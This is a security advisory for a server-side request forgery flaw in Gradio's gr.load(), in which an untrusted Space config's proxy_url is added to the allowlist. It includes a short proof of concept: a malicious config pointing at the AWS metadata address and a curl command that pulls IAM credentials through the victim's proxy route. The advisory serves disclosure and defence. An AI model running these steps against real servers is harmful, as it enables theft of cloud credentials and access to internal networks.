A Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses gr.load() to load an attacker-controlled Space, the malicious proxy_url from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure.
The vulnerability exists in Gradio's config processing flow when loading external Spaces:
Config Fetching (gradio/external.py:630): gr.load() calls Blocks.from_config() which fetches and processes the remote Space's configuration.
Proxy URL Trust (gradio/blocks.py:1231-1233): The proxy_url from the untrusted config is added directly to self.proxy_urls:
if config.get("proxy_url"):
self.proxy_urls.add(config["proxy_url"])
Built-in Proxy Route (gradio/routes.py:1029-1031): Every Gradio app automatically exposes a /proxy={url_path} endpoint:
@router.get("/proxy={url_path:path}", dependencies=[Depends(login_check)])
async def reverse_proxy(url_path: str):
Host-based Validation (gradio/routes.py:365-368): The validation only checks if the URL's host matches any trusted proxy_url host:
is_safe_url = any(
url.host == httpx.URL(root).host for root in self.blocks.proxy_urls
)
An attacker can set proxy_url to http://169.254.169.254/ (AWS metadata) or any internal service, and the victim's server will proxy requests to those endpoints.
Full PoC: https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6
1. Attacker creates a malicious Gradio Space that returns this config:
{
"mode": "blocks",
"components": [...],
"proxy_url": "http://169.254.169.254/" # AWS metadata endpoint
}
2. Victim loads the malicious Space:
import gradio as gr
demo = gr.load("attacker/malicious-space")
demo.launch(server_name="0.0.0.0", server_port=7860)
3. Attacker exploits the proxy:
# Fetch AWS credentials through victim's server
curl "http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"
Who is impacted:
gr.load() to load external/untrusted SpacesAttack scenarios:
{
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-01T01:29:31Z",
"nvd_published_at": "2026-02-27T22:16:24Z",
"severity": "HIGH"
}